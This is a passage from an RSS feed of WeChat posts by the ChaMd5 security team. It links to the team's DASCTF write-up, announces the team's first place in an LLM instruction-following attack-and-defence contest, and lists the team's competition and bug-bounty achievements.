leaf="">2021年第二届中国智能网联汽车大赛“天融信杯“ 铜奖</span><span leaf=""><br/></span><span leaf="">2021年世界智能驾驶挑战赛 铜奖</span><span leaf=""><br/></span><span leaf="">区块链</span><span leaf=""><br/></span><span leaf="">2024年磐石安全实验室-FishCake项目审计竞赛第一</span><span leaf=""><br/></span><span leaf="">2023年MetaTrustCTF 参与命题</span><span leaf=""><br/></span><span leaf="">2023年NumenCTF 第十四名</span><span leaf=""><br/></span><span leaf="">团队书</span><span leaf=""><br/></span><span leaf="">《ARM 汇编与逆向工程：蓝狐篇 基础知识》 荣获机械工业出版社“2024年度优秀图书奖”称号</span><span leaf=""><br/></span><span leaf="">《x86 汇编与逆向工程：软件破解与防护的艺术》 荣获机械工业出版社“2024年度优秀图书奖”称号</span></code></pre></p><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p><span leaf=""><a href="https://github.com/ChaMd5Team/Venom-WP/blob/main/2025-DASCTF%E4%B8%8B%E5%8D%8A%E5%B9%B4%E8%B5%9BWrite_Up.pdf" target="_blank">https://github.com/ChaMd5Team/Venom-WP/blob/main/2025-DASCTF%E4%B8%8B%E5%8D%8A%E5%B9%B4%E8%B5%9BWrite_Up.pdf</a></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><img alt="图片" class="__bg_gif rich_pages wxw-img" data-ratio="1" data-type="gif" data-w="640" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 38px !important;height: auto !important;" data-width="100%" data-imgfileid="100027087" src="https://wechat2rss.xlab.app/img-proxy/?k=a43983f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FPUubqXlrzBRH2vOmzbCqYb35uicIicQcxDYmXzZRoiaM7vy41cjBXmbWys0xiadJ2zwYG6ODyDjjBafPDDCDWJCVbg%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1%26tp%3Dwebp%23imgIndex%3D1"/></p></div></div><p line="89Rf" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: none medium;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);color: rgb(73, 73, 73);font-size: 11pt;text-align: center;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多 Writeup 详情</span></p><p line="89Rf" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: none medium;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);color: rgb(73, 73, 73);font-size: 11pt;text-align: center;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">查看以下链接或点击文末阅读原文</span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;color: rgb(0, 0, 0);font-size: medium;caret-color: rgb(34, 34, 34);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img alt="图片" class="rich_pages __bg_gif wxw-img" data-ratio="1" data-s="300,640" data-type="gif" data-w="200" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 149px !important;height: auto !important;" data-imgfileid="100027086" src="https://wechat2rss.xlab.app/img-proxy/?k=30a842b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FPUubqXlrzBRH2vOmzbCqYb35uicIicQcxDR3lbWnKxpic9icIjYzbsJjISBQEicVFia5IOsHMULFVHiakxSAQSlj8cmVg%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1%26tp%3Dwebp%23imgIndex%3D2"/></p><div data-role="outer" label="Powered by 135editor.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;caret-color: rgb(34, 34, 34);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://github.com/ChaMd5Team/Venom-WP/blob/main/2025-DASCTF%E4%B8%8B%E5%8D%8A%E5%B9%B4%E8%B5%9BWrite_Up.pdf">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6f21845b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247513762%26idx%3D1%26sn%3D213b2c21e5c351e1badb8875cebb3fea">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 08 Dec 2025 08:02:00 +0800</pubDate>
    </item>
    <item>
      <title>喜报 | ChaMd5 AI组荣获LLM指令遵循攻防赛第一名</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513746&amp;idx=1&amp;sn=3443d15eed036c4f30aa0d91e983ec18</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>ChaMd5</span> <span>2025-11-30 08:01</span> <span style="display: inline-block;">辽宁</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=aa3f4059&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBSoKz9fUqia5Enib5mR3W7CQMRH0wq6mTHusQUU3H8sZlC9lFYEWE7qQophtc9SM4WMltCrEPNATkeQ%2F0%3Fwx_fmt%3Djpeg"/></p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100030089" data-ratio="0.5" data-s="300,640" data-type="jpeg" data-w="1080" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1db11767&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBSoKz9fUqia5Enib5mR3W7CQMIVBP83SbVbrzzVwv9YxLWpK58JwdygZZvwl0OoGOTD2K47Q12LzWgQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">    随着人工智能技术的迅猛发展，AI大模型在文本理解与知识问答等任务上的表现日益成熟。然而，模型能力不断提升的同时，现有评测基准（benchmark）的局限性也逐渐显现，难以全面、真实地衡量模型的综合能力。</span></p><p><span leaf="">    在此背景下，由腾讯混元数据团队主办，北京市海淀区数据局指导，清竞、安硕信息、SuperCLUE、中国中检共同资源支持的指令遵循攻防赛正式启动。大赛将通过新清竞平台举行，旨在通过设计复杂指令遵循场景下的测评题，深入挖掘AI在答题过程中可能存在的弱点与盲区，推动大模型优化与迭代，共同构建更科学、更全面的测评体系。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100030091" data-ratio="0.6666666666666666" data-s="300,640" data-type="jpeg" data-w="1080" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d0583e0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBSoKz9fUqia5Enib5mR3W7CQM899ibhGAkeUbnlL0nWqbyV0uNW89acT4Y5GW77qp67Hhgy9wgxLJDpg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="text-align: center;"><span leaf=""><span textstyle="" style="color: rgb(0, 128, 255);">ChaMd5安全团队AI组(Holiday、懒师傅、Pcat)</span></span></p><p style="text-align: center;"><span leaf=""><span textstyle="" style="color: rgb(0, 128, 255);">荣获</span><span textstyle="" style="color: rgb(0, 128, 255);font-weight: bold;">第一名</span></span></p><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">安全厂商漏洞提交</span><span leaf=""><br/></span><span leaf="">2024年荣获阿里云安全守护卫士</span><span leaf=""><br/></span><span leaf="">2024年京东SRC“优秀合作伙伴”称号和个人第四名(Str1am_)</span><span leaf=""><br/></span><span leaf="">2024年盘锦市演练优秀攻击队</span><span leaf=""><br/></span><span leaf="">2024年荣获某市局经侦支队感谢信</span><span leaf=""><br/></span><span leaf="">2024年荣获某市委网信办感谢信</span><span leaf=""><br/></span><span leaf="">2024年荣获国家计算机网络与信息安全管理中心辽宁分中心感谢信</span><span leaf=""><br/></span><span leaf="">2023年京东SRC个人第三名(Str1am_)</span><span leaf=""><br/></span><span leaf="">2023年补天总榜个人排名第十(r00t4dm)</span><span leaf=""><br/></span><span leaf="">2023年多点SRC年度第三(Cra5h)</span><span leaf=""><br/></span><span leaf="">2023年TCL年度第四(Cra5h)</span><span leaf=""><br/></span><span leaf="">2023年同程SRC个人年度第二(IT小丑)</span><span leaf=""><br/></span><span leaf="">2023年滴滴SRC个人年度第五(IT小丑)</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第一季度 第三名</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第三季度 第二名</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第四季度 第三名</span><span leaf=""><br/></span><span leaf="">2023年大连网信办“连盾”第二名</span><span leaf=""><br/></span><span leaf="">2022年PSRC团队年度第三名</span><span leaf=""><br/></span><span leaf="">2022年BSRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2022年货拉拉获得”黄金轻卡“称号</span><span leaf=""><br/></span><span leaf="">2021年DSRC获得年度第三名</span><span leaf=""><br/></span><span leaf="">2021年BSRC获得年度第三名</span><span leaf=""><br/></span><span leaf="">2017-2020年DSRC(滴滴)年度安全团队第一名</span><span leaf=""><br/></span><span leaf="">2020年JSRC(京东)团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年BSRC(百度)第三名</span><span leaf=""><br/></span><span leaf="">2020年网易SRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年58SRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年字节跳动SRC团队年度第三名</span><span leaf=""><br/></span><span leaf="">2020年360SRC年度团队第二名</span><span leaf=""><br/></span><span leaf="">2020年TSRC(腾讯)年度合作伙伴奖</span><span leaf=""><br/></span><span leaf="">2019年JSRC(京东)团队年度第三名</span><span leaf=""><br/></span><span leaf="">2019年华为云2019年度团队二等奖、华为终端2019年度最具潜力奖</span><span leaf=""><br/></span><span leaf="">2019年MTSRC(美团)年度团队第二名</span><span leaf=""><br/></span><span leaf="">2019年ASRC(阿里)年度合作伙伴奖</span><span leaf=""><br/></span><span leaf="">2019年合肥市网络安全攻防演练大赛攻防演练赛 线下第八名</span><span leaf=""><br/></span><span leaf="">2019年BSRC(百度) 年度第三名和校园年度第二名</span><span leaf=""><br/></span><span leaf="">2018年BSRC(百度) 年度第二名</span><span leaf=""><br/></span><span leaf="">2017年BSRC(百度)优秀团队</span><span leaf=""><br/></span><span leaf="">CTF比赛</span><span leaf=""><br/></span><span leaf="">2025年DASCTF 2025上半年赛 第八名</span><span leaf=""><br/></span><span leaf="">2025第一届OpenHarmonyCTF专题赛 第五名</span><span leaf=""><br/></span><span leaf="">2025年第八届封神台 第一名</span><span leaf=""><br/></span><span leaf="">2024年国城杯 线下第六名</span><span leaf=""><br/></span><span leaf="">2024DASCTF 暑假挑战赛 第一名</span><span leaf=""><br/></span><span leaf="">2024年矩阵杯 优胜奖</span><span leaf=""><br/></span><span leaf="">2024年举办第一届 VCTF 纳新赛</span><span leaf=""><br/></span><span leaf="">2023年中华武数杯 三等奖</span><span leaf=""><br/></span><span leaf="">2023年NCTF 第八名</span><span leaf=""><br/></span><span leaf="">2022年第五届强网拟态 第九名</span><span leaf=""><br/></span><span leaf="">2022年安洵杯 第七名</span><span leaf=""><br/></span><span leaf="">2021年第四届强网拟态 第一名</span><span leaf=""><br/></span><span leaf="">2021年长安杯总决赛一等奖</span><span leaf=""><br/></span><span leaf="">2021年巅峰极客 第一名</span><span leaf=""><br/></span><span leaf="">2020年“祥云杯”线上第三名</span><span leaf=""><br/></span><span leaf="">2020年GeekPwn云靶场挑战赛第八名</span><span leaf=""><br/></span><span leaf="">2020年线上网鼎杯“青龙组“第五名</span><span leaf=""><br/></span><span leaf="">2019年“湖湘杯”网络安全技能大赛线下第四名</span><span leaf=""><br/></span><span leaf="">2019年XPpwnCTF第五名</span><span leaf=""><br/></span><span leaf="">2019年SUCTF 线上第三名</span><span leaf=""><br/></span><span leaf="">2019年第三届“红帽杯”网络安全攻防大赛 线上社会网安第五名</span><span leaf=""><br/></span><span leaf="">工控比赛</span><span leaf=""><br/></span><span leaf="">2022年之江杯第五名&amp;内生安全贡献荣誉奖</span><span leaf=""><br/></span><span leaf="">2020年之江杯第一名</span><span leaf=""><br/></span><span leaf="">2018年赛博地球杯工业互联网安全大赛线下总排名 第二名</span><span leaf=""><br/></span><span leaf="">IoT比赛</span><span leaf=""><br/></span><span leaf="">2024年第七届“强网”拟态防御国际精英挑战赛—低空经济赛道三等奖（第五名）</span><span leaf=""><br/></span><span leaf="">2023年DataCon漏洞分析赛道第三名</span><span leaf=""><br/></span><span leaf="">2022年DataCon物联网安全第四名</span><span leaf=""><br/></span><span leaf="">2020年西湖论剑IOT挑战赛第一名</span><span leaf=""><br/></span><span leaf="">2019年360SRC48小时IoT破解大赛第四名</span><span leaf=""><br/></span><span leaf="">AI比赛</span><span leaf=""><br/></span><span leaf="">2024年DataCon AI第四名</span><span leaf=""><br/></span><span leaf="">2024年ByteAI安全挑战赛决赛第十名</span><span leaf=""><br/></span><span leaf="">2022年2022 CCF BDCI 竞技赛单赛题决赛 基于TPU平台实现人群密度估计 二等奖</span><span leaf=""><br/></span><span leaf="">2022年字节安全AI挑战赛 第四名</span><span leaf=""><br/></span><span leaf="">2021年iFLYTEK.AI 第十名</span><span leaf=""><br/></span><span leaf="">2020年BCTF AI PWN第六名</span><span leaf=""><br/></span><span leaf="">2019年强网杯AI 第十名</span><span leaf=""><br/></span><span leaf="">2019年BCTF RHG 人工智能第八名</span><span leaf=""><br/></span><span leaf="">车联网</span><span leaf=""><br/></span><span leaf="">2025年首届CCF智能汽车大赛线上第一名、线下三等奖</span><span leaf=""><br/></span><span leaf="">2024Block Harbor VicOne Automotive CTF 线上 第六名</span><span leaf=""><br/></span><span leaf="">2024年Super CS车联网安全攻防挑战赛线下 优胜奖</span><span leaf=""><br/></span><span leaf="">2024年VSEC挑战赛二 第六名</span><span leaf=""><br/></span><span leaf="">2023年CIICV车联网（智能网联汽车）漏洞挖掘挑战赛 优胜奖</span><span leaf=""><br/></span><span leaf="">2023年WIDC世界智能驾驶挑战赛 线上第二名</span><span leaf=""><br/></span><span leaf="">2022 第二届创安杯智能汽车信息安全公开赛 线上第九名</span><span leaf=""><br/></span><span leaf="">2022 CICV 智能网联汽车漏洞挖掘赛 线下一等奖</span><span leaf=""><br/></span><span leaf="">2022 CICV智能网联汽车漏洞挖掘赛 线上三等奖</span><span leaf=""><br/></span><span leaf="">2021年第二届中国智能网联汽车大赛“天融信杯“ 铜奖</span><span leaf=""><br/></span><span leaf="">2021年世界智能驾驶挑战赛 铜奖</span><span leaf=""><br/></span><span leaf="">区块链</span><span leaf=""><br/></span><span leaf="">2024年磐石安全实验室-FishCake项目审计竞赛第一</span><span leaf=""><br/></span><span leaf="">2023年MetaTrustCTF 参与命题</span><span leaf=""><br/></span><span leaf="">2023年NumenCTF 第十四名</span><span leaf=""><br/></span><span leaf="">团队书</span><span leaf=""><br/></span><span leaf="">《ARM 汇编与逆向工程：蓝狐篇 基础知识》 荣获机械工业出版社“2024年度优秀图书奖”称号</span><span leaf=""><br/></span><span leaf="">《x86 汇编与逆向工程：软件破解与防护的艺术》 荣获机械工业出版社“2024年度优秀图书奖”称号</span></code></pre></p><div data-role="outer" label="Powered by 135editor.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 